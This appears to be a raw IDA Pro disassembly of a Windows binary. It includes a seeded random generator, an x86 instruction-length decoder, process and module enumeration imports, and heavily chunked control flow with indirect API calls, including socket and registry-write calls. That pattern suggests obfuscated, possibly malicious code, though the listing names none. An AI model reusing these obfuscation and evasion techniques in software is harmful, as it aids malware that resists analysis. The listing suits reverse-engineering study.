		mov	edi, [eax-8]
		shr	edi, 0Bh
		and	edi, 1FFFEFh
		or	esi, ebx
		mov	ebx, [ecx]
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, [ebp+var_C]
		xor	edi, edx
		xor	edi, [ebp+var_20]
		lea	edx, [eax+218h]
		mov	[edx], edi
		mov	edi, [eax-4]
		mov	ebx, [ecx+4]
		shr	edi, 0Bh
		and	edi, 1ECB7Fh
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, esi
		xor	edi, [ebp+var_1C]
		xor	[eax+21Ch], edi
		mov	edi, [eax]
		mov	esi, [ecx+8]
		shr	edi, 0Bh
		shl	esi, 12h
		and	edi, 1AFFFFh
		xor	esi, edi
		xor	esi, [eax+220h]
		add	eax, 10h
		xor	esi, [ebp+var_18]
		mov	[ebp+var_4], ecx
		xor	esi, [ebp+var_28]
		mov	[eax+210h], esi
		mov	esi, [eax-0Ch]
		mov	edi, [ecx+0Ch]
		shr	esi, 0Bh
		and	esi, 1FFFF6h
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [ebp+var_44]
		mov	ecx, edx
		xor	esi, [ebp+var_34]
		xor	[eax+214h], esi
		dec	[ebp+var_8]
		jnz	loc_9AA419
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+9C4h], 0
		pop	edi
		pop	esi
		pop	ebx


loc_9AA55D:				; CODE XREF: sub_9AA298+13j
		mov	ecx, [eax+9C4h]
		mov	edx, [eax+9C0h]
		mov	edx, [edx+ecx*4]
		inc	ecx
		mov	[eax+9C4h], ecx
		mov	eax, edx
		leave
		retn
sub_9AA298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_9AA577	proc near		; CODE XREF: sub_9A857A+44p

Dst		= byte ptr -134h
PerformanceCount= LARGE_INTEGER	ptr -34h
SystemTime	= _SYSTEMTIME ptr -2Ch
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hProv		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 134h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+74h+var_4], eax
		push	esi
		mov	esi, [ebp+74h+arg_0]
		lea	eax, [ebp+74h+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		lea	eax, [ebp+74h+SystemTime]
		push	eax		; lpSystemTime
		call	GetSystemTime
		call	GetTickCount
		mov	[ebp+74h+var_1C], eax
		rdtsc
		mov	[ebp+74h+var_14], eax
		mov	[ebp+74h+var_10], edx
		call	GetCurrentThreadId
		push	0F0000040h	; dwFlags
		push	1		; dwProvType
		push	offset szProvider ; "Microsoft Base Cryptographic Provider v"...
		mov	[ebp+74h+var_C], eax
		push	0		; szContainer
		lea	eax, [ebp+74h+hProv]
		push	eax		; phProv
		call	CryptAcquireContextA
		test	eax, eax
		jz	short loc_9AA5FA
		lea	eax, [ebp+74h+Dst]
		push	eax		; pbBuffer
		push	100h		; dwLen
		push	[ebp+74h+hProv]	; hProv
		call	CryptGenRandom
		push	0		; dwFlags
		push	[ebp+74h+hProv]	; hProv
		call	CryptReleaseContext


loc_9AA5FA:				; CODE XREF: sub_9AA577+61j
		lea	eax, [esi+4]
		push	eax		; Dst
		lea	eax, [ebp+74h+Dst]
		push	4Ch		; int
		push	eax		; int
		call	sub_9A9FE6
		push	130h		; Size
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [esi], 12345678h
		call	memset
		mov	ecx, [ebp+74h+var_4]
		add	esp, 18h
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		add	ebp, 74h
		leave
		retn
sub_9AA577	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AA638	proc near		; CODE XREF: sub_9A83C7+24p
					; sub_9A857A+172p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax], 12345678h
		jnz	short loc_9AA64F
		add	eax, 4
		push	eax
		call	sub_9AA298
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_9AA64F:				; CODE XREF: sub_9AA638+Aj
		jmp	rand
sub_9AA638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AA660	proc near		; CODE XREF: sub_9A5938+68p

var_90		= dword	ptr -90h
arg_0		= dword	ptr  4

		pusha
		cld
		xor	edx, edx
		mov	esi, [esp+20h+arg_0]
		mov	ebp, esp
		push	1097F71Ch
		push	0F71C6780h
		push	17389718h
		push	101CB718h
		push	17302C17h
		push	18173017h
		push	0F715F547h
		push	4C103748h
		push	272CE7F7h
		push	0F7AC6087h
		push	1C121C52h
		push	7C10871Ch
		push	201C701Ch
		push	4767602Bh
		push	20211011h
		push	40121625h
		push	82872022h
		push	47201220h
		push	13101419h
		push	18271013h
		push	28858260h
		push	15124045h
		push	5016A0C7h
		push	28191812h
		push	0F2401812h
		push	19154127h
		push	50F0F011h
		mov	ecx, 15124710h
		push	ecx
		push	11151247h
		push	10111512h
		push	47101115h
		mov	eax, 12472015h
		push	eax
		push	eax
		push	12471A10h
		add	cl, 10h
		push	ecx
		sub	cl, 20h
		push	ecx
		xor	ecx, ecx
		dec	ecx


loc_9AA71D:				; CODE XREF: sub_9AA660+E0j
		inc	ecx
		mov	edi, esp


loc_9AA720:				; CODE XREF: sub_9AA660+EAj
		lodsb
		mov	bh, al


loc_9AA723:				; CODE XREF: sub_9AA660+CBj
		mov	ah, [edi]
		inc	edi
		shr	ah, 4
		sub	al, ah
		jnb	short loc_9AA723
		mov	al, [edi-1]
		and	al, 0Fh
		cmp	al, 0Ch
		jnz	short loc_9AA739
		pop	edx
		not	edx


loc_9AA739:				; CODE XREF: sub_9AA660+D4j
		inc	edx
		cmp	al, 0
		jz	short loc_9AA77F
		cmp	al, 1
		jz	short loc_9AA71D
		add	edi, 51h
		cmp	al, 0Ah
		jz	short loc_9AA720
		mov	edi, [ebp+24h]
		inc	edx
		cmp	al, 2
		jz	short loc_9AA77F
		cmp	al, 7
		jz	short loc_9AA787
		cmp	al, 0Bh
		jz	short loc_9AA7DA


loc_9AA75C:				; CODE XREF: sub_9AA660+185j
		inc	edx
		cmp	al, 3
		jz	short loc_9AA77F
		cmp	al, 8
		jz	short loc_9AA787
		inc	edx
		cmp	al, 4
		jz	short loc_9AA77F
		inc	edx
		inc	edx
		pusha
		mov	al, 66h
		repne scasb
		popa
		jnz	short loc_9AA776


loc_9AA774:				; CODE XREF: sub_9AA660+190j
					; sub_9AA660+1A8j
		dec	edx
		dec	edx


loc_9AA776:				; CODE XREF: sub_9AA660+112j
		cmp	al, 9
		jz	short loc_9AA787
		sub	al, 5
		jz	short loc_9AA7EA


loc_9AA77E:				; CODE XREF: sub_9AA660+16Aj
					; sub_9AA660+16Ej ...
		inc	edx


loc_9AA77F:				; CODE XREF: sub_9AA660+DCj
					; sub_9AA660+F2j ...
		mov	esp, ebp
		mov	[esp+0ACh+var_90], edx
		popa
		retn
; ---------------------------------------------------------------------------


loc_9AA787:				; CODE XREF: sub_9AA660+F6j
					; sub_9AA660+103j ...
		lodsb
		mov	ah, al
		shr	al, 7
		jb	short loc_9AA7A1
		jz	short loc_9AA7A5
		add	dl, 4
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9AA7A5
		sub	dl, 3
		dec	al


loc_9AA7A1:				; CODE XREF: sub_9AA660+12Dj
		jnz	short loc_9AA77F
		inc	edx
		inc	eax


loc_9AA7A5:				; CODE XREF: sub_9AA660+12Fj
					; sub_9AA660+13Aj
		and	ah, 7
		pusha
		mov	al, 67h
		repne scasb
		popa
		jz	short loc_9AA7C3
		cmp	ah, 4
		jz	short loc_9AA7CC
		cmp	ah, 5
		jnz	short loc_9AA77F
		dec	al
		jz	short loc_9AA77F


loc_9AA7BE:				; CODE XREF: sub_9AA660+178j
		add	dl, 4
		jmp	short loc_9AA77F
; ---------------------------------------------------------------------------


loc_9AA7C3:				; CODE XREF: sub_9AA660+14Ej
		cmp	ax, 600h
		jnz	short loc_9AA77F
		inc	edx
		jmp	short loc_9AA77E
; ---------------------------------------------------------------------------


loc_9AA7CC:				; CODE XREF: sub_9AA660+153j
		cmp	al, 0
		jnz	short loc_9AA77E
		lodsb
		and	al, 7
		sub	al, 5
		jnz	short loc_9AA77E
		inc	edx
		jmp	short loc_9AA7BE
; ---------------------------------------------------------------------------


loc_9AA7DA:				; CODE XREF: sub_9AA660+FAj
		test	byte ptr [esi],	38h
		jnz	short loc_9AA787
		mov	al, 8
		shr	bh, 1
		adc	al, 0
		jmp	loc_9AA75C
; ---------------------------------------------------------------------------


loc_9AA7EA:				; CODE XREF: sub_9AA660+11Cj
		sub	bh, 0A0h
		cmp	bh, 4
		jnb	short loc_9AA774
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9AA7FC
		dec	edx
		dec	edx


loc_9AA7FC:				; CODE XREF: sub_9AA660+198j
		pusha
		mov	al, 66h
		repne scasb
		popa
		jz	loc_9AA77E
		jnz	loc_9AA774


loc_9AA80E:				; DATA XREF: .text:009B8004o
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_9B8788
		test	eax, eax
		jz	short loc_9AA824
		cmp	eax, 0BB40E64Eh
		jnz	short locret_9AA872


loc_9AA824:				; CODE XREF: sub_9AA660+1BBj
		push	esi
		lea	eax, [ebp-8]
		push	eax		; lpSystemTimeAsFileTime
		call	GetSystemTimeAsFileTime
		mov	esi, [ebp-4]
		xor	esi, [ebp-8]
		call	GetCurrentProcessId
		xor	esi, eax
		call	GetCurrentThreadId
		xor	esi, eax
		call	GetTickCount
		xor	esi, eax
		lea	eax, [ebp-10h]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		mov	eax, [ebp-0Ch]
		xor	eax, [ebp-10h]
		xor	esi, eax
		mov	dword_9B8788, esi
		jnz	short loc_9AA871
		mov	dword_9B8788, 0BB40E64Eh


loc_9AA871:				; CODE XREF: sub_9AA660+205j
		pop	esi

locret_9AA872:				; CODE XREF: sub_9AA660+1C2j
		leave
		retn
sub_9AA660	endp ; sp-analysis failed

; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_9B878C
		jmp	short loc_9AA9A0
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION sub_9AAAC1. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx
		jmp	short loc_9AAAB4
; ---------------------------------------------------------------------------


loc_9AAAAD:				; DATA XREF: .text:stru_9A3600o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAAB1:				; DATA XREF: .text:stru_9A3600o
		mov	esp, [ebp-18h]


loc_9AAAB4:				; CODE XREF: .text:009AAAABj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ExitProcess
; ---------------------------------------------------------------------------
		db 0CCh
; [0000000E BYTES: COLLAPSED FUNCTION sub_9AAAC1. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION log. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION sin. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION labs. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
		align 10h

__allshl:
		cmp	cl, 40h
		jnb	short loc_9AAC0A
		cmp	cl, 20h
		jnb	short loc_9AAC00
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC00:				; CODE XREF: .text:009AABF8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC0A:				; CODE XREF: .text:009AABF3j
		xor	eax, eax
		xor	edx, edx
		retn
; ---------------------------------------------------------------------------
		align 10h

unknown_libname_3:			; Microsoft VisualC 2-8/net runtime
		cmp	cl, 40h
		jnb	short loc_9AAC2A
		cmp	cl, 20h
		jnb	short loc_9AAC20
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC20:				; CODE XREF: .text:009AAC18j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC2A:				; CODE XREF: .text:009AAC13j
		xor	eax, eax
		xor	edx, edx
		retn
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6A0


loc_9AADB0:				; CODE XREF: sub_9AC6A0+87F1j
					; DATA XREF: .text:off_9B93DFo
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC6A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AADB8:				; CODE XREF: sub_9AB1A0+1B22j
					; DATA XREF: .text:off_9BA07Co
		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		push	dword_9BEC30[esi]
		pop	edx
		push	edx
		call	dword ptr [ecx+34h]
		not	eax
		inc	eax
		mov	[ebp-34h], eax
		push	dword ptr [ebp-20h]
		pop	ecx
		cmp	ecx, eax
		jb	loc_9B04E8
		jmp	off_9BA5F0
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AADE4:				; CODE XREF: sub_9B3150-3080j
		mov	ecx, 80h
		push	dword ptr [ebx+48h]
		pop	edx
		sub	eax, eax
		mov	esi, [ebx]
		lea	edi, [esi+edx-200h]
		rep stosd
		lea	edi, [ebx+4]
		mov	ecx, 10h
		mov	esi, [ebx+48h]
		rep movsd
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9AEFA3
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AAE14:				; CODE XREF: sub_9B0930-2385j
					; DATA XREF: .text:off_9B9550o
		push	dword ptr [eax+8]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B99FA
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AAE28:				; CODE XREF: sub_9AB1A0+558Cj
		push	edi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jnz	loc_9B2911
		jmp	loc_9B290C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3F28


loc_9AAE40:				; CODE XREF: sub_9B3F28+14j
		push	dword_9BCB74
		pop	ecx
		push	[esp+arg_8]
		pop	eax
		push	dword ptr [ecx+10h]
		pop	edx
		push	[esp+arg_4]
		pop	ecx
		push	10h
		push	eax
		mov	eax, [esp+8+arg_0]
		push	0
		push	ecx
		push	eax
		push	esi
		call	dword ptr [edx+40h]
		sub	ecx, ecx
		and	eax, eax
		setnle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 4
		mov	eax, ecx
; END OF FUNCTION CHUNK	FOR sub_9B3F28
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AAE78:				; CODE XREF: sub_9B3A74+85j
					; DATA XREF: .text:off_9BAC90o
		push	esi
		lea	eax, [ebp-120h]
		call	sub_9B18F8
		push	dword ptr [esi+44h]
		pop	ecx
		mov	eax, [esi]
		push	eax
		mov	edx, ecx
		lea	eax, [ebp-120h]
		call	sub_9AB95C
		add	esp, 4
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp-124h]
		push	eax
		push	20006h
		push	0
		push	ebx
		push	edi
		call	dword ptr [edx+20h]
		test	eax, eax
		jz	loc_9AED9C
		jmp	off_9B9E28
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AAEC8:				; CODE XREF: sub_9ADAC4+6824j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	ecx
		push	6
		push	1
		push	2
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		mov	[ebp-44h], ebx
		test	ebx, ebx
		jz	loc_9B0BD3
		jmp	loc_9B326C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AAEF0:				; CODE XREF: sub_9B4FD0-4179j
					; sub_9B4FD0+749j
					; DATA XREF: ...
		lea	edi, [ebx+ebx*2]
		shl	edi, 4
		mov	dword_9BBF74[edi], 1
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	dword_9BBF78[edi], eax
		push	dword ptr [ebp+1Ch]
		pop	ecx
		mov	dword_9BBF7C[edi], ecx
		push	dword ptr [ebp+10h]
		pop	edx
		mov	dword_9BBF80[edi], edx
		mov	eax, [ebp+14h]
		mov	dword_9BBF84[edi], eax
		push	dword ptr [ebp+18h]
		pop	ecx
		mov	dword_9BBF88[edi], ecx
		mov	edx, [ebp+24h]
		mov	dword_9BBF8C[edi], edx
		push	dword ptr [ebp+20h]
		pop	eax
		mov	dword_9BBF90[edi], eax
		call	sub_9B227C
		mov	dword_9BBF98[edi], eax
		mov	dword_9BBF94[edi], eax
		mov	dword_9BBFA0[edi], esi
		push	dword_9BCB74
		pop	ecx
		mov	eax, [ecx]
		push	esi
		push	80h
		push	2
		push	esi
		push	esi
		push	0C0000000h
		push	ebx
		jmp	off_9BA031
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3BE8


loc_9AAF7C:				; CODE XREF: sub_9B3BE8+17j
					; DATA XREF: .text:off_9B9E72o
		mov	ecx, [esp+arg_0]
		push	ecx
		sub	eax, edx
		push	off_9B8E51	; Format
		add	eax, esi
		push	10h		; Count
		push	eax		; Dest
		call	_snprintf
		push	esi
		pop	eax
		add	esp, 10h
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3BE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AAF9C:				; CODE XREF: sub_9ADAC4+22E0j
		mov	ecx, esi
		call	sub_9B31A8


loc_9AAFA3:				; CODE XREF: sub_9ADAC4-665j
					; sub_9ADAC4+22DAj
		inc	edi
		jmp	loc_9AE6B7
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABADC


loc_9AAFAC:				; CODE XREF: sub_9ABADC+Cj
		push	esi


loc_9AAFAD:				; CODE XREF: sub_9ABADC-B1Fj
		movzx	esi, byte ptr [ecx]
		xor	eax, esi
		push	eax
		pop	esi
		shr	esi, 1Fh
		add	eax, eax
		or	eax, esi
		inc	ecx
		dec	edx
		jnz	short loc_9AAFAD
		jmp	off_9B9402
; END OF FUNCTION CHUNK	FOR sub_9ABADC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9AAFC8:				; CODE XREF: sub_9B6078-A722j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_9AAFCD:				; CODE XREF: sub_9B6078-B0A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9AAFCD
		jmp	off_9BA85D
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AAFDC:				; CODE XREF: sub_9B1D80+3578j
		mov	eax, [ebp-2020h]
		or	eax, eax
		jnz	loc_9B3ECB
		jmp	off_9BA3A0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AAFF0:				; CODE XREF: sub_9AB1A0+46j
					; DATA XREF: .text:off_9B9F48o
		push	off_9BAD92
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		pop	eax
		mov	dword ptr [eax], 0
		sub	edi, edi
		sub	esi, esi
		mov	[ebp-24h], edi
		mov	[ebp-28h], esi


loc_9AB014:				; CODE XREF: sub_9AB1A0+1B0Dj
		cmp	esi, 20h
		jnb	loc_9B0534
		jmp	off_9BA168
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AB02C:				; CODE XREF: sub_9B3864-F7Cj
		push	0C01h
		pop	ecx
		div	ecx
		add	edx, 400h
		jmp	loc_9B269E
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AB040	proc near		; CODE XREF: sub_9B1D80-206Fp
					; sub_9B3864+51Ap

; FUNCTION CHUNK AT 009AC5DC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADFA8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B0688 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B0D90 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B6548 SIZE 00000013 BYTES

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	edi
		push	off_9BAD92
		sub	edi, edi
		call	dword ptr [ecx+18h]
		sub	eax, eax


loc_9AB055:				; CODE XREF: sub_9AB040+B510j
		mov	ecx, dword_9BEC1C[eax]
		test	ecx, ecx
		jz	loc_9B6548
		jmp	loc_9AC5DC
sub_9AB040	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AB068:				; CODE XREF: sub_9B4950-8E06j
					; DATA XREF: .text:off_9B9268o
		lea	esi, [edi+edi*4]
		shl	esi, 3
		cmp	dword_9BEC1C[esi], ebx
		jz	loc_9AFE40
		jmp	loc_9B5C34
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AB080:				; CODE XREF: sub_9B1D80-3A98j
					; DATA XREF: .text:off_9B9399o
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	eax, [ebp-203Ah]
		push	eax
		call	dword ptr [edx+28h]
		push	eax
		sub	eax, eax
		mov	edx, [ebp-2038h]
		call	sub_9B1334


loc_9AB0A2:				; CODE XREF: sub_9B1D80-5B57j
					; sub_9B1D80-3A9Ej ...
		push	0
		push	0
		push	0
		push	0
		movzx	eax, word ptr [ebp-2022h]
		add	eax, ebx
		push	eax
		push	dword ptr [ebp-2050h]
		pop	ecx
		push	ecx
		push	0
		mov	edx, [ebp+14h]
		push	edx
		jmp	loc_9AFD0D
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB0C8:				; CODE XREF: sub_9B63D8-5152j
		cmp	al, 39h
		jg	loc_9AF944
		jmp	loc_9B1D1C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB0D8:				; CODE XREF: sub_9B0930+3967j
					; DATA XREF: .text:off_9B8998o
		push	off_9B9445
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+60h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+60h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B37B4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9AB10C:				; CODE XREF: sub_9B327C+14j
					; DATA XREF: .text:off_9BAAA5o
		cmp	al, 0Ah
		jz	loc_9B4264
		jmp	off_9BA137
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB11C	proc near		; CODE XREF: sub_9B2830+FDFp
					; sub_9B2830+1D65p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009B31EC SIZE 00000006 BYTES

		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		push	[esp+arg_4]
		pop	ecx
		mov	eax, off_9B97DD
		push	[esp+arg_0]
		pop	edx
		call	sub_9B2C30
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		jmp	loc_9B31EC
sub_9AB11C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB158:				; CODE XREF: sub_9B1A08-2208j
		mov	[esi+ebp-41BCh], eax
		test	eax, eax
		jz	loc_9AD484
		jmp	loc_9AD46C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AB16C:				; CODE XREF: sub_9B3864-441Fj
					; DATA XREF: .text:off_9BAC67o
		xor	edx, edx
		cmp	edi, 6
		setnz	dl
		dec	edx
		movzx	ebx, [ebp+var_2022]
		and	edx, 200h
		add	edx, 200h
		cmp	ebx, edx
		jl	loc_9AF480
		jmp	off_9BA828
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AB198:				; CODE XREF: sub_9B5904-3342j
					; sub_9B5904-E54j
		inc	ecx
